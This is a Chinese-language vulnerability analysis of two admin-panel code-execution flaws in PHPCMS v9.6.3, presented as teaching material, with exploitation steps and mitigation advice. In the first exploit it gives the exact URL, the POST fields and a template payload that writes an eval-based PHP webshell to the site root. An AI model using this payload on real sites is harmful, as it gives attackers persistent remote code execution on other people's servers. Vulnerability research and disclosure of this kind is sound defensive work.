某cmsv9.6.3之后台几处漏洞分析
字数 836 2025-08-29 08:31:48
PHPCMS v9.6.3 后台漏洞分析与利用教学文档
漏洞概述
PHPCMS v9.6.3 后台存在多处安全漏洞,攻击者可以利用这些漏洞实现任意代码执行(GETSHELL)。本文档将详细分析两处关键漏洞的利用方法。
漏洞一:模板解析导致的代码执行
漏洞位置
block_admin 模块中的模板解析功能
漏洞分析
- 漏洞触发点位于模板解析过程中,系统直接包含用户可控的模板文件:
if (@file_put_contents($filepath,$str)) {
ob_start();
include $filepath;
$html = ob_get_contents();
ob_clean();
@unlink($filepath);
}
- 模板内容来源:
$str = $tpl->template_parse(new_stripslashes($template));
$template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template'])
用户通过POST提交的template参数未经任何过滤直接用于模板解析。
利用步骤
- 访问以下URL(需要有效的pc_hash参数):
http://www.test.com/phpcms/install_package/index.php?m=block&c=block_admin&pc_hash=B8mgrw&a=add&pos=1
- 提交POST数据:
dosubmit=1&name=ac&type=2
- 在
template参数中插入恶意PHP代码:
<?php file_put_contents("phpcms_shell.php","<?php eval(\$_POST[1]);?>");?>
- 成功执行后会在网站根目录生成
phpcms_shell.php后门文件。
漏洞二:缓存编译导致的代码执行
漏洞位置
category 模块中的模板缓存编译功能
漏洞分析
setting参数直接存入数据库,未经任何过滤:
$setting = $_POST['setting'];
$_POST['info']['setting'] = array2string($setting);
- 系统会从数据库读取
setting[page_template]字段值用于模板编译:
include template('content',$template);
- 模板编译过程:
$compiledtplfile = PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR.'caches_template'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.php';
$content = $this->template_parse($content);
$strlen = file_put_contents ( $compiledtplfile, $content );
- 最终通过
include包含编译后的PHP文件实现代码执行。
利用步骤
-
找到可控的HTML模板文件(如栏目模板)。
-
通过栏目管理功能提交恶意
setting参数,包含page_template指向恶意模板。 -
访问以下URL触发模板编译(
catid需替换为实际栏目ID):
http://www.test.com/phpcms_v9.6.3_UTF8/install_package/index.php?m=content&c=index&a=lists&catid=15
- 系统会编译恶意模板并执行其中的PHP代码。
防御建议
-
对所有用户输入进行严格过滤,特别是文件路径和模板内容。
-
限制模板文件只能位于特定目录,禁止使用相对路径跳转。
-
对模板解析过程进行安全审计,避免直接执行用户可控代码。
-
及时更新到最新版本,官方可能已修复这些漏洞。
总结
这两处漏洞都源于对用户输入的不当信任,通过精心构造的输入,攻击者可以绕过安全限制实现任意代码执行。开发人员应始终遵循"不信任任何用户输入"的原则,对所有输入进行严格验证和过滤。